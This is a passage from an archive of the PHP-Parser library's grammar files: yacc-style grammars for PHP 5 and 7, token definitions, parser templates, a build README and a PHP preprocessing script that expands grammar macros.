push($1, $2); } | encaps_list encaps_string_part { push($1, $2); } | encaps_var { init($1); } | encaps_string_part encaps_var { init($1, $2); } ; encaps_string_part: T_ENCAPSED_AND_WHITESPACE { $$ = Scalar\EncapsedStringPart[$1]; } ; encaps_str_varname: T_STRING_VARNAME { $$ = Expr\Variable[$1]; } ; encaps_var: plain_variable { $$ = $1; } | plain_variable '[' encaps_var_offset ']' { $$ = Expr\ArrayDimFetch[$1, $3]; } | plain_variable T_OBJECT_OPERATOR identifier_not_reserved { $$ = Expr\PropertyFetch[$1, $3]; } | plain_variable T_NULLSAFE_OBJECT_OPERATOR identifier_not_reserved { $$ = Expr\NullsafePropertyFetch[$1, $3]; } | T_DOLLAR_OPEN_CURLY_BRACES expr '}' { $$ = Expr\Variable[$2]; } | T_DOLLAR_OPEN_CURLY_BRACES T_STRING_VARNAME '}' { $$ = Expr\Variable[$2]; } | T_DOLLAR_OPEN_CURLY_BRACES encaps_str_varname '[' expr ']' '}' { $$ = Expr\ArrayDimFetch[$2, $4]; } | T_CURLY_OPEN variable '}' { $$ = $2; } ; encaps_var_offset: T_STRING { $$ = Scalar\String_[$1]; } | T_NUM_STRING { $$ = $this->parseNumString($1, attributes()); } | '-' T_NUM_STRING { $$ = $this->parseNumString('-' . $2, attributes()); } | plain_variable { $$ = $1; } ; %% res/readability/vendor/nikic/php-parser/grammar/README.md000064400000002611147577714370017234 0ustar00What do all those files mean? ============================= * `php5.y`: PHP 5 grammar written in a pseudo language * `php7.y`: PHP 7 grammar written in a pseudo language * `tokens.y`: Tokens definition shared between PHP 5 and PHP 7 grammars * `parser.template`: A `kmyacc` parser prototype file for PHP * `tokens.template`: A `kmyacc` prototype file for the `Tokens` class * `rebuildParsers.php`: Preprocesses the grammar and builds the parser using `kmyacc` .phpy pseudo language ===================== The `.y` file is a normal grammar in `kmyacc` (`yacc`) style, with some transformations applied to it: * Nodes are created using the syntax `Name[..., ...]`. This is transformed into `new Name(..., ..., attributes())` * Some function-like constructs are resolved (see `rebuildParsers.php` for a list) Building the parser =================== Run `php grammar/rebuildParsers.php` to rebuild the parsers. Additional options: * The `KMYACC` environment variable can be used to specify an alternative `kmyacc` binary. By default the `phpyacc` dev dependency will be used. To use the original `kmyacc`, you need to compile [moriyoshi's fork](https://github.com/moriyoshi/kmyacc-forked). * The `--debug` option enables emission of debug symbols and creates the `y.output` file. * The `--keep-tmp-grammar` option preserves the preprocessed grammar file. res/readability/vendor/nikic/php-parser/grammar/parser.template000064400000004421147577714370021007 0ustar00semValue #semval($,%t) $this->semValue #semval(%n) $stackPos-(%l-%n) #semval(%n,%t) $stackPos-(%l-%n) namespace PhpParser\Parser; use PhpParser\Error; use PhpParser\Node; use PhpParser\Node\Expr; use PhpParser\Node\Name; use PhpParser\Node\Scalar; use PhpParser\Node\Stmt; #include; /* This is an automatically GENERATED file, which should not be manually edited. * Instead edit one of the following: * * the grammar files grammar/php5.y or grammar/php7.y * * the skeleton file grammar/parser.template * * the preprocessing script grammar/rebuildParsers.php */ class #(-p) extends \PhpParser\ParserAbstract { protected $tokenToSymbolMapSize = #(YYMAXLEX); protected $actionTableSize = #(YYLAST); protected $gotoTableSize = #(YYGLAST); protected $invalidSymbol = #(YYBADCH); protected $errorSymbol = #(YYINTERRTOK); protected $defaultAction = #(YYDEFAULT); protected $unexpectedTokenRule = #(YYUNEXPECTED); protected $YY2TBLSTATE = #(YY2TBLSTATE); protected $numNonLeafStates = #(YYNLSTATES); protected $symbolToName = array( #listvar terminals ); protected $tokenToSymbol = array( #listvar yytranslate ); protected $action = array( #listvar yyaction ); protected $actionCheck = array( #listvar yycheck ); protected $actionBase = array( #listvar yybase ); protected $actionDefault = array( #listvar yydefault ); protected $goto = array( #listvar yygoto ); protected $gotoCheck = array( #listvar yygcheck ); protected $gotoBase = array( #listvar yygbase ); protected $gotoDefault = array( #listvar yygdefault ); protected $ruleToNonTerminal = array( #listvar yylhs ); protected $ruleToLength = array( #listvar yylen ); #if -t protected $productions = array( #production-strings; ); #endif protected function initReduceCallbacks() { $this->reduceCallbacks = [ #reduce %n => function ($stackPos) { %b }, #noact %n => function ($stackPos) { $this->semValue = $this->semStack[$stackPos]; }, #endreduce ]; } } #tailcode; res/readability/vendor/nikic/php-parser/grammar/tokens.template000064400000000452147577714370021016 0ustar00semValue #semval($,%t) $this->semValue #semval(%n) $this->stackPos-(%l-%n) #semval(%n,%t) $this->stackPos-(%l-%n) namespace PhpParser\Parser; #include; /* GENERATED file based on grammar/tokens.y */ final class Tokens { #tokenval const %s = %n; #endtokenval } res/readability/vendor/nikic/php-parser/grammar/phpyLang.php000064400000014363147577714370020257 0ustar00\'[^\\\\\']*+(?:\\\\.[^\\\\\']*+)*+\') (?"[^\\\\"]*+(?:\\\\.[^\\\\"]*+)*+") (?(?&singleQuotedString)|(?&doubleQuotedString)) (?/\*[^*]*+(?:\*(?!/)[^*]*+)*+\*/) (?\{[^\'"/{}]*+(?:(?:(?&string)|(?&comment)|(?&code)|/)[^\'"/{}]*+)*+}) )'; const PARAMS = '\[(?[^[\]]*+(?:\[(?¶ms)\][^[\]]*+)*+)\]'; const ARGS = '\((?[^()]*+(?:\((?&args)\)[^()]*+)*+)\)'; /////////////////////////////// /// Preprocessing functions /// /////////////////////////////// function preprocessGrammar($code) { $code = resolveNodes($code); $code = resolveMacros($code); $code = resolveStackAccess($code); return $code; } function resolveNodes($code) { return preg_replace_callback( '~\b(?[A-Z][a-zA-Z_\\\\]++)\s*' . PARAMS . '~', function($matches) { // recurse $matches['params'] = resolveNodes($matches['params']); $params = magicSplit( '(?:' . PARAMS . '|' . ARGS . ')(*SKIP)(*FAIL)|,', $matches['params'] ); $paramCode = ''; foreach ($params as $param) { $paramCode .= $param . ', '; } return 'new ' . $matches['name'] . '(' . $paramCode . 'attributes())'; }, $code ); } function resolveMacros($code) { return preg_replace_callback( '~\b(?)(?!array\()(?[a-z][A-Za-z]++)' . ARGS . '~', function($matches) { // recurse $matches['args'] = resolveMacros($matches['args']); $name = $matches['name']; $args = magicSplit( '(?:' . PARAMS . '|' . ARGS . ')(*SKIP)(*FAIL)|,', $matches['args'] ); if ('attributes' === $name) { assertArgs(0, $args, $name); return '$this->startAttributeStack[#1] + $this->endAttributes'; } if ('stackAttributes' === $name) { assertArgs(1, $args, $name); return '$this->startAttributeStack[' . $args[0] . ']' . ' + $this->endAttributeStack[' . $args[0] . ']'; } if ('init' === $name) { return '$$ = array(' . implode(', ', $args) . ')'; } if ('push' === $name) { assertArgs(2, $args, $name); return $args[0] . '[] = ' . $args[1] . '; $$ = ' . $args[0]; } if ('pushNormalizing' === $name) { assertArgs(2, $args, $name); return 'if (is_array(' . $args[1] . ')) { $$ = array_merge(' . $args[0] . ', ' . $args[1] . '); }' . ' else { ' . $args[0] . '[] = ' . $args[1] . '; $$ = ' . $args[0] . '; }'; } if ('toArray' == $name) { assertArgs(1, $args, $name); return 'is_array(' . $args[0] . ') ? ' . $args[0] . ' : array(' . $args[0] . ')'; } if ('parseVar' === $name) { assertArgs(1, $args, $name); return 'substr(' . $args[0] . ', 1)'; } if ('parseEncapsed' === $name) { assertArgs(3, $args, $name); return 'foreach (' . $args[0] . ' as $s) { if ($s instanceof Node\Scalar\EncapsedStringPart) {' . ' $s->value = Node\Scalar\String_::parseEscapeSequences($s->value, ' . $args[1] . ', ' . $args[2] . '); } }'; } if ('makeNop' === $name) { assertArgs(3, $args, $name); return '$startAttributes = ' . $args[1] . ';' . ' if (isset($startAttributes[\'comments\']))' . ' { ' . $args[0] . ' = new Stmt\Nop($startAttributes + ' . $args[2] . '); }' . ' else { ' . $args[0] . ' = null; }'; } if ('makeZeroLengthNop' == $name) { assertArgs(2, $args, $name); return '$startAttributes = ' . $args[1] . ';' . ' if (isset($startAttributes[\'comments\']))' . ' { ' . $args[0] . ' = new Stmt\Nop($this->createCommentNopAttributes($startAttributes[\'comments\'])); }' . ' else { ' . $args[0] . ' = null; }'; } if ('strKind' === $name) { assertArgs(1, $args, $name); return '(' . $args[0] . '[0] === "\'" || (' . $args[0] . '[1] === "\'" && ' . '(' . $args[0] . '[0] === \'b\' || ' . $args[0] . '[0] === \'B\')) ' . '? Scalar\String_::KIND_SINGLE_QUOTED : Scalar\String_::KIND_DOUBLE_QUOTED)'; } if ('prependLeadingComments' === $name) { assertArgs(1, $args, $name); return '$attrs = $this->startAttributeStack[#1]; $stmts = ' . $args[0] . '; ' . 'if (!empty($attrs[\'comments\'])) {' . '$stmts[0]->setAttribute(\'comments\', ' . 'array_merge($attrs[\'comments\'], $stmts[0]->getAttribute(\'comments\', []))); }'; } return $matches[0]; }, $code ); } function assertArgs($num, $args, $name) { if ($num != count($args)) { die('Wrong argument count for ' . $name . '().'); } } function resolveStackAccess($code) { $code = preg_replace('/\$\d+/', '$this->semStack[$0]', $code); $code = preg_replace('/#(\d+)/', '$$1', $code); return $code; } function removeTrailingWhitespace($code) { $lines = explode("\n", $code); $lines = array_map('rtrim', $lines); return implode("\n", $lines); } ////////////////////////////// /// Regex helper functions /// ////////////////////////////// function regex($regex) { return '~' . LIB . '(?:' . str_replace('~', '\~', $regex) . ')~'; } function magicSplit($regex, $string) { $pieces = preg_split(regex('(?:(?&string)|(?&comment)|(?&code))(*SKIP)(*FAIL)|' . $regex), $string); foreach ($pieces as &$piece) { $piece = trim($piece); } if ($pieces === ['']) { return []; } return $pieces; } res/readability/vendor/nikic/php-parser/grammar/tokens.y000064400000005201147577714370017450 0ustar00/* We currently rely on the token ID mapping to be the same between PHP 5 and PHP 7 - so the same lexer can be used for * both. This is enforced by sharing this token file. */ %right T_THROW %left T_INCLUDE T_INCLUDE_ONCE T_EVAL T_REQUIRE T_REQUIRE_ONCE %left ',' %left T_LOGICAL_OR %left T_LOGICAL_XOR %left T_LOGICAL_AND %right T_PRINT %right T_YIELD %right T_DOUBLE_ARROW %right T_YIELD_FROM %left '=' T_PLUS_EQUAL T_MINUS_EQUAL T_MUL_EQUAL T_DIV_EQUAL T_CONCAT_EQUAL T_MOD_EQUAL T_AND_EQUAL T_OR_EQUAL T_XOR_EQUAL T_SL_EQUAL T_SR_EQUAL T_POW_EQUAL T_COALESCE_EQUAL %left '?' ':' %right T_COALESCE %left T_BOOLEAN_OR %left T_BOOLEAN_AND %left '|' %left '^' %left T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG %nonassoc T_IS_EQUAL T_IS_NOT_EQUAL T_IS_IDENTICAL T_IS_NOT_IDENTICAL T_SPACESHIP %nonassoc '<' T_IS_SMALLER_OR_EQUAL '>' T_IS_GREATER_OR_EQUAL %left T_SL T_SR %left '+' '-' '.' %left '*' '/' '%' %right '!' %nonassoc T_INSTANCEOF %right '~' T_INC T_DEC T_INT_CAST T_DOUBLE_CAST T_STRING_CAST T_ARRAY_CAST T_OBJECT_CAST T_BOOL_CAST T_UNSET_CAST '@' %right T_POW %right '[' %nonassoc T_NEW T_CLONE %token T_EXIT %token T_IF %left T_ELSEIF %left T_ELSE %left T_ENDIF %token T_LNUMBER %token T_DNUMBER %token T_STRING %token T_STRING_VARNAME %token T_VARIABLE %token T_NUM_STRING %token T_INLINE_HTML %token T_ENCAPSED_AND_WHITESPACE %token T_CONSTANT_ENCAPSED_STRING %token T_ECHO %token T_DO %token T_WHILE %token T_ENDWHILE %token T_FOR %token T_ENDFOR %token T_FOREACH %token T_ENDFOREACH %token T_DECLARE %token T_ENDDECLARE %token T_AS %token T_SWITCH %token T_MATCH %token T_ENDSWITCH %token T_CASE %token T_DEFAULT %token T_BREAK %token T_CONTINUE %token T_GOTO %token T_FUNCTION %token T_FN %token T_CONST %token T_RETURN %token T_TRY %token T_CATCH %token T_FINALLY %token T_THROW %token T_USE %token T_INSTEADOF %token T_GLOBAL %right T_STATIC T_ABSTRACT T_FINAL T_PRIVATE T_PROTECTED T_PUBLIC T_READONLY %token T_VAR %token T_UNSET %token T_ISSET %token T_EMPTY %token T_HALT_COMPILER %token T_CLASS %token T_TRAIT %token T_INTERFACE %token T_ENUM %token T_EXTENDS %token T_IMPLEMENTS %token T_OBJECT_OPERATOR %token T_NULLSAFE_OBJECT_OPERATOR %token T_DOUBLE_ARROW %token T_LIST %token T_ARRAY %token T_CALLABLE %token T_CLASS_C %token T_TRAIT_C %token T_METHOD_C %token T_FUNC_C %token T_LINE %token T_FILE %token T_START_HEREDOC %token T_END_HEREDOC %token T_DOLLAR_OPEN_CURLY_BRACES %token T_CURLY_OPEN %token T_PAAMAYIM_NEKUDOTAYIM %token T_NAMESPACE %token T_NS_C %token T_DIR %token T_NS_SEPARATOR %token T_ELLIPSIS %token T_NAME_FULLY_QUALIFIED %token T_NAME_QUALIFIED %token T_NAME_RELATIVE %token T_ATTRIBUTE %token T_ENUM res/readability/vendor/nikic/php-parser/grammar/php5.y000064400000143670147577714370017036 0ustar00%pure_parser %expect 6 %tokens %% start: top_statement_list { $$ = $this->handleNamespaces($1); } ; top_statement_list_ex: top_statement_list_ex top_statement { pushNormalizing($1, $2); } | /* empty */ { init(); } ; top_statement_list: top_statement_list_ex { makeZeroLengthNop($nop, $this->lookaheadStartAttributes); if ($nop !== null) { $1[] = $nop; } $$ = $1; } ; ampersand: T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG | T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG ; reserved_non_modifiers: T_INCLUDE | T_INCLUDE_ONCE | T_EVAL | T_REQUIRE | T_REQUIRE_ONCE | T_LOGICAL_OR | T_LOGICAL_XOR | T_LOGICAL_AND | T_INSTANCEOF | T_NEW | T_CLONE | T_EXIT | T_IF | T_ELSEIF | T_ELSE | T_ENDIF | T_ECHO | T_DO | T_WHILE | T_ENDWHILE | T_FOR | T_ENDFOR | T_FOREACH | T_ENDFOREACH | T_DECLARE | T_ENDDECLARE | T_AS | T_TRY | T_CATCH | T_FINALLY | T_THROW | T_USE | T_INSTEADOF | T_GLOBAL | T_VAR | T_UNSET | T_ISSET | T_EMPTY | T_CONTINUE | T_GOTO | T_FUNCTION | T_CONST | T_RETURN | T_PRINT | T_YIELD | T_LIST | T_SWITCH | T_ENDSWITCH | T_CASE | T_DEFAULT | T_BREAK | T_ARRAY | T_CALLABLE | T_EXTENDS | T_IMPLEMENTS | T_NAMESPACE | T_TRAIT | T_INTERFACE | T_CLASS | T_CLASS_C | T_TRAIT_C | T_FUNC_C | T_METHOD_C | T_LINE | T_FILE | T_DIR | T_NS_C | T_HALT_COMPILER | T_FN | T_MATCH ; semi_reserved: reserved_non_modifiers | T_STATIC | T_ABSTRACT | T_FINAL | T_PRIVATE | T_PROTECTED | T_PUBLIC ; identifier_ex: T_STRING { $$ = Node\Identifier[$1]; } | semi_reserved { $$ = Node\Identifier[$1]; } ; identifier: T_STRING { $$ = Node\Identifier[$1]; } ; reserved_non_modifiers_identifier: reserved_non_modifiers { $$ = Node\Identifier[$1]; } ; namespace_name: T_STRING { $$ = Name[$1]; } | T_NAME_QUALIFIED { $$ = Name[$1]; } ; legacy_namespace_name: namespace_name { $$ = $1; } | T_NAME_FULLY_QUALIFIED { $$ = Name[substr($1, 1)]; } ; plain_variable: T_VARIABLE { $$ = Expr\Variable[parseVar($1)]; } ; top_statement: statement { $$ = $1; } | function_declaration_statement { $$ = $1; } | class_declaration_statement { $$ = $1; } | T_HALT_COMPILER { $$ = Stmt\HaltCompiler[$this->lexer->handleHaltCompiler()]; } | T_NAMESPACE namespace_name ';' { $$ = Stmt\Namespace_[$2, null]; $$->setAttribute('kind', Stmt\Namespace_::KIND_SEMICOLON); $this->checkNamespace($$); } | T_NAMESPACE namespace_name '{' top_statement_list '}' { $$ = Stmt\Namespace_[$2, $4]; $$->setAttribute('kind', Stmt\Namespace_::KIND_BRACED); $this->checkNamespace($$); } | T_NAMESPACE '{' top_statement_list '}' { $$ = Stmt\Namespace_[null, $3]; $$->setAttribute('kind', Stmt\Namespace_::KIND_BRACED); $this->checkNamespace($$); } | T_USE use_declarations ';' { $$ = Stmt\Use_[$2, Stmt\Use_::TYPE_NORMAL]; } | T_USE use_type use_declarations ';' { $$ = Stmt\Use_[$3, $2]; } | group_use_declaration ';' { $$ = $1; } | T_CONST constant_declaration_list ';' { $$ = Stmt\Const_[$2]; } ; use_type: T_FUNCTION { $$ = Stmt\Use_::TYPE_FUNCTION; } | T_CONST { $$ = Stmt\Use_::TYPE_CONSTANT; } ; group_use_declaration: T_USE use_type legacy_namespace_name T_NS_SEPARATOR '{' unprefixed_use_declarations '}' { $$ = Stmt\GroupUse[$3, $6, $2]; } | T_USE legacy_namespace_name T_NS_SEPARATOR '{' inline_use_declarations '}' { $$ = Stmt\GroupUse[$2, $5, Stmt\Use_::TYPE_UNKNOWN]; } ; unprefixed_use_declarations: unprefixed_use_declarations ',' unprefixed_use_declaration { push($1, $3); } | unprefixed_use_declaration { init($1); } ; use_declarations: use_declarations ',' use_declaration { push($1, $3); } | use_declaration { init($1); } ; inline_use_declarations: inline_use_declarations ',' inline_use_declaration { push($1, $3); } | inline_use_declaration { init($1); } ; unprefixed_use_declaration: namespace_name { $$ = Stmt\UseUse[$1, null, Stmt\Use_::TYPE_UNKNOWN]; $this->checkUseUse($$, #1); } | namespace_name T_AS identifier { $$ = Stmt\UseUse[$1, $3, Stmt\Use_::TYPE_UNKNOWN]; $this->checkUseUse($$, #3); } ; use_declaration: legacy_namespace_name { $$ = Stmt\UseUse[$1, null, Stmt\Use_::TYPE_UNKNOWN]; $this->checkUseUse($$, #1); } | legacy_namespace_name T_AS identifier { $$ = Stmt\UseUse[$1, $3, Stmt\Use_::TYPE_UNKNOWN]; $this->checkUseUse($$, #3); } ; inline_use_declaration: unprefixed_use_declaration { $$ = $1; $$->type = Stmt\Use_::TYPE_NORMAL; } | use_type unprefixed_use_declaration { $$ = $2; $$->type = $1; } ; constant_declaration_list: constant_declaration_list ',' constant_declaration { push($1, $3); } | constant_declaration { init($1); } ; constant_declaration: identifier '=' static_scalar { $$ = Node\Const_[$1, $3]; } ; class_const_list: class_const_list ',' class_const { push($1, $3); } | class_const { init($1); } ; class_const: identifier_ex '=' static_scalar { $$ = Node\Const_[$1, $3]; } ; inner_statement_list_ex: inner_statement_list_ex inner_statement { pushNormalizing($1, $2); } | /* empty */ { init(); } ; inner_statement_list: inner_statement_list_ex { makeZeroLengthNop($nop, $this->lookaheadStartAttributes); if ($nop !== null) { $1[] = $nop; } $$ = $1; } ; inner_statement: statement { $$ = $1; } | function_declaration_statement { $$ = $1; } | class_declaration_statement { $$ = $1; } | T_HALT_COMPILER { throw new Error('__HALT_COMPILER() can only be used from the outermost scope', attributes()); } ; non_empty_statement: '{' inner_statement_list '}' { if ($2) { $$ = $2; prependLeadingComments($$); } else { makeNop($$, $this->startAttributeStack[#1], $this->endAttributes); if (null === $$) { $$ = array(); } } } | T_IF parentheses_expr statement elseif_list else_single { $$ = Stmt\If_[$2, ['stmts' => toArray($3), 'elseifs' => $4, 'else' => $5]]; } | T_IF parentheses_expr ':' inner_statement_list new_elseif_list new_else_single T_ENDIF ';' { $$ = Stmt\If_[$2, ['stmts' => $4, 'elseifs' => $5, 'else' => $6]]; } | T_WHILE parentheses_expr while_statement { $$ = Stmt\While_[$2, $3]; } | T_DO statement T_WHILE parentheses_expr ';' { $$ = Stmt\Do_ [$4, toArray($2)]; } | T_FOR '(' for_expr ';' for_expr ';' for_expr ')' for_statement { $$ = Stmt\For_[['init' => $3, 'cond' => $5, 'loop' => $7, 'stmts' => $9]]; } | T_SWITCH parentheses_expr switch_case_list { $$ = Stmt\Switch_[$2, $3]; } | T_BREAK ';' { $$ = Stmt\Break_[null]; } | T_BREAK expr ';' { $$ = Stmt\Break_[$2]; } | T_CONTINUE ';' { $$ = Stmt\Continue_[null]; } | T_CONTINUE expr ';' { $$ = Stmt\Continue_[$2]; } | T_RETURN ';' { $$ = Stmt\Return_[null]; } | T_RETURN expr ';' { $$ = Stmt\Return_[$2]; } | T_GLOBAL global_var_list ';' { $$ = Stmt\Global_[$2]; } | T_STATIC static_var_list ';' { $$ = Stmt\Static_[$2]; } | T_ECHO expr_list ';' { $$ = Stmt\Echo_[$2]; } | T_INLINE_HTML { $$ = Stmt\InlineHTML[$1]; } | yield_expr ';' { $$ = Stmt\Expression[$1]; } | expr ';' { $$ = Stmt\Expression[$1]; } | T_UNSET '(' variables_list ')' ';' { $$ = Stmt\Unset_[$3]; } | T_FOREACH '(' expr T_AS foreach_variable ')' foreach_statement { $$ = Stmt\Foreach_[$3, $5[0], ['keyVar' => null, 'byRef' => $5[1], 'stmts' => $7]]; } | T_FOREACH '(' expr T_AS variable T_DOUBLE_ARROW foreach_variable ')' foreach_statement { $$ = Stmt\Foreach_[$3, $7[0], ['keyVar' => $5, 'byRef' => $7[1], 'stmts' => $9]]; } | T_DECLARE '(' declare_list ')' declare_statement { $$ = Stmt\Declare_[$3, $5]; } | T_TRY '{' inner_statement_list '}' catches optional_finally { $$ = Stmt\TryCatch[$3, $5, $6]; $this->checkTryCatch($$); } | T_THROW expr ';' { $$ = Stmt\Throw_[$2]; } | T_GOTO identifier ';' { $$ = Stmt\Goto_[$2]; } | identifier ':' { $$ = Stmt\Label[$1]; } | expr error { $$ = Stmt\Expression[$1]; } | error { $$ = array(); /* means: no statement */ } ; statement: non_empty_statement { $$ = $1; } | ';' { makeNop($$, $this->startAttributeStack[#1], $this->endAttributes); if ($$ === null) $$ = array(); /* means: no statement */ } ; catches: /* empty */ { init(); } | catches catch { push($1, $2); } ; catch: T_CATCH '(' name plain_variable ')' '{' inner_statement_list '}' { $$ = Stmt\Catch_[array($3), $4, $7]; } ; optional_finally: /* empty */ { $$ = null; } | T_FINALLY '{' inner_statement_list '}' { $$ = Stmt\Finally_[$3]; } ; variables_list: variable { init($1); } | variables_list ',' variable { push($1, $3); } ; optional_ref: /* empty */ { $$ = false; } | ampersand { $$ = true; } ; optional_arg_ref: /* empty */ { $$ = false; } | T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG { $$ = true; } ; optional_ellipsis: /* empty */ { $$ = false; } | T_ELLIPSIS { $$ = true; } ; function_declaration_statement: T_FUNCTION optional_ref identifier '(' parameter_list ')' optional_return_type '{' inner_statement_list '}' { $$ = Stmt\Function_[$3, ['byRef' => $2, 'params' => $5, 'returnType' => $7, 'stmts' => $9]]; } ; class_declaration_statement: class_entry_type identifier extends_from implements_list '{' class_statement_list '}' { $$ = Stmt\Class_[$2, ['type' => $1, 'extends' => $3, 'implements' => $4, 'stmts' => $6]]; $this->checkClass($$, #2); } | T_INTERFACE identifier interface_extends_list '{' class_statement_list '}' { $$ = Stmt\Interface_[$2, ['extends' => $3, 'stmts' => $5]]; $this->checkInterface($$, #2); } | T_TRAIT identifier '{' class_statement_list '}' { $$ = Stmt\Trait_[$2, ['stmts' => $4]]; } ; class_entry_type: T_CLASS { $$ = 0; } | T_ABSTRACT T_CLASS { $$ = Stmt\Class_::MODIFIER_ABSTRACT; } | T_FINAL T_CLASS { $$ = Stmt\Class_::MODIFIER_FINAL; } ; extends_from: /* empty */ { $$ = null; } | T_EXTENDS class_name { $$ = $2; } ; interface_extends_list: /* empty */ { $$ = array(); } | T_EXTENDS class_name_list { $$ = $2; } ; implements_list: /* empty */ { $$ = array(); } | T_IMPLEMENTS class_name_list { $$ = $2; } ; class_name_list: class_name { init($1); } | class_name_list ',' class_name { push($1, $3); } ; for_statement: statement { $$ = toArray($1); } | ':' inner_statement_list T_ENDFOR ';' { $$ = $2; } ; foreach_statement: statement { $$ = toArray($1); } | ':' inner_statement_list T_ENDFOREACH ';' { $$ = $2; } ; declare_statement: non_empty_statement { $$ = toArray($1); } | ';' { $$ = null; } | ':' inner_statement_list T_ENDDECLARE ';' { $$ = $2; } ; declare_list: declare_list_element { init($1); } | declare_list ',' declare_list_element { push($1, $3); } ; declare_list_element: identifier '=' static_scalar { $$ = Stmt\DeclareDeclare[$1, $3]; } ; switch_case_list: '{' case_list '}' { $$ = $2; } | '{' ';' case_list '}' { $$ = $3; } | ':' case_list T_ENDSWITCH ';' { $$ = $2; } | ':' ';' case_list T_ENDSWITCH ';' { $$ = $3; } ; case_list: /* empty */ { init(); } | case_list case { push($1, $2); } ; case: T_CASE expr case_separator inner_statement_list_ex { $$ = Stmt\Case_[$2, $4]; } | T_DEFAULT case_separator inner_statement_list_ex { $$ = Stmt\Case_[null, $3]; } ; case_separator: ':' | ';' ; while_statement: statement { $$ = toArray($1); } | ':' inner_statement_list T_ENDWHILE ';' { $$ = $2; } ; elseif_list: /* empty */ { init(); } | elseif_list elseif { push($1, $2); } ; elseif: T_ELSEIF parentheses_expr statement { $$ = Stmt\ElseIf_[$2, toArray($3)]; } ; new_elseif_list: /* empty */ { init(); } | new_elseif_list new_elseif { push($1, $2); } ; new_elseif: T_ELSEIF parentheses_expr ':' inner_statement_list { $$ = Stmt\ElseIf_[$2, $4]; } ; else_single: /* empty */ { $$ = null; } | T_ELSE statement { $$ = Stmt\Else_[toArray($2)]; } ; new_else_single: /* empty */ { $$ = null; } | T_ELSE ':' inner_statement_list { $$ = Stmt\Else_[$3]; } ; foreach_variable: variable { $$ = array($1, false); } | ampersand variable { $$ = array($2, true); } | list_expr { $$ = array($1, false); } ; parameter_list: non_empty_parameter_list { $$ = $1; } | /* empty */ { $$ = array(); } ; non_empty_parameter_list: parameter { init($1); } | non_empty_parameter_list ',' parameter { push($1, $3); } ; parameter: optional_param_type optional_arg_ref optional_ellipsis plain_variable { $$ = Node\Param[$4, null, $1, $2, $3]; $this->checkParam($$); } | optional_param_type optional_arg_ref optional_ellipsis plain_variable '=' static_scalar { $$ = Node\Param[$4, $6, $1, $2, $3]; $this->checkParam($$); } ; type: name { $$ = $1; } | T_ARRAY { $$ = Node\Identifier['array']; } | T_CALLABLE { $$ = Node\Identifier['callable']; } ; optional_param_type: /* empty */ { $$ = null; } | type { $$ = $1; } ; optional_return_type: /* empty */ { $$ = null; } | ':' type { $$ = $2; } ; argument_list: '(' ')' { $$ = array(); } | '(' non_empty_argument_list ')' { $$ = $2; } | '(' yield_expr ')' { $$ = array(Node\Arg[$2, false, false]); } ; non_empty_argument_list: argument { init($1); } | non_empty_argument_list ',' argument { push($1, $3); } ; argument: expr { $$ = Node\Arg[$1, false, false]; } | ampersand variable { $$ = Node\Arg[$2, true, false]; } | T_ELLIPSIS expr { $$ = Node\Arg[$2, false, true]; } ; global_var_list: global_var_list ',' global_var { push($1, $3); } | global_var { init($1); } ; global_var: plain_variable { $$ = $1; } | '$' variable { $$ = Expr\Variable[$2]; } | '$' '{' expr '}' { $$ = Expr\Variable[$3]; } ; static_var_list: static_var_list ',' static_var { push($1, $3); } | static_var { init($1); } ; static_var: plain_variable { $$ = Stmt\StaticVar[$1, null]; } | plain_variable '=' static_scalar { $$ = Stmt\StaticVar[$1, $3]; } ; class_statement_list_ex: class_statement_list_ex class_statement { if ($2 !== null) { push($1, $2); } } | /* empty */ { init(); } ; class_statement_list: class_statement_list_ex { makeZeroLengthNop($nop, $this->lookaheadStartAttributes); if ($nop !== null) { $1[] = $nop; } $$ = $1; } ; class_statement: variable_modifiers property_declaration_list ';' { $$ = Stmt\Property[$1, $2]; $this->checkProperty($$, #1); } | T_CONST class_const_list ';' { $$ = Stmt\ClassConst[$2, 0]; } | method_modifiers T_FUNCTION optional_ref identifier_ex '(' parameter_list ')' optional_return_type method_body { $$ = Stmt\ClassMethod[$4, ['type' => $1, 'byRef' => $3, 'params' => $6, 'returnType' => $8, 'stmts' => $9]]; $this->checkClassMethod($$, #1); } | T_USE class_name_list trait_adaptations { $$ = Stmt\TraitUse[$2, $3]; } ; trait_adaptations: ';' { $$ = array(); } | '{' trait_adaptation_list '}' { $$ = $2; } ; trait_adaptation_list: /* empty */ { init(); } | trait_adaptation_list trait_adaptation { push($1, $2); } ; trait_adaptation: trait_method_reference_fully_qualified T_INSTEADOF class_name_list ';' { $$ = Stmt\TraitUseAdaptation\Precedence[$1[0], $1[1], $3]; } | trait_method_reference T_AS member_modifier identifier_ex ';' { $$ = Stmt\TraitUseAdaptation\Alias[$1[0], $1[1], $3, $4]; } | trait_method_reference T_AS member_modifier ';' { $$ = Stmt\TraitUseAdaptation\Alias[$1[0], $1[1], $3, null]; } | trait_method_reference T_AS identifier ';' { $$ = Stmt\TraitUseAdaptation\Alias[$1[0], $1[1], null, $3]; } | trait_method_reference T_AS reserved_non_modifiers_identifier ';' { $$ = Stmt\TraitUseAdaptation\Alias[$1[0], $1[1], null, $3]; } ; trait_method_reference_fully_qualified: name T_PAAMAYIM_NEKUDOTAYIM identifier_ex { $$ = array($1, $3); } ; trait_method_reference: trait_method_reference_fully_qualified { $$ = $1; } | identifier_ex { $$ = array(null, $1); } ; method_body: ';' /* abstract method */ { $$ = null; } | '{' inner_statement_list '}' { $$ = $2; } ; variable_modifiers: non_empty_member_modifiers { $$ = $1; } | T_VAR { $$ = 0; } ; method_modifiers: /* empty */ { $$ = 0; } | non_empty_member_modifiers { $$ = $1; } ; non_empty_member_modifiers: member_modifier { $$ = $1; } | non_empty_member_modifiers member_modifier { $this->checkModifier($1, $2, #2); $$ = $1 | $2; } ; member_modifier: T_PUBLIC { $$ = Stmt\Class_::MODIFIER_PUBLIC; } | T_PROTECTED { $$ = Stmt\Class_::MODIFIER_PROTECTED; } | T_PRIVATE { $$ = Stmt\Class_::MODIFIER_PRIVATE; } | T_STATIC { $$ = Stmt\Class_::MODIFIER_STATIC; } | T_ABSTRACT { $$ = Stmt\Class_::MODIFIER_ABSTRACT; } | T_FINAL { $$ = Stmt\Class_::MODIFIER_FINAL; } ; property_declaration_list: property_declaration { init($1); } | property_declaration_list ',' 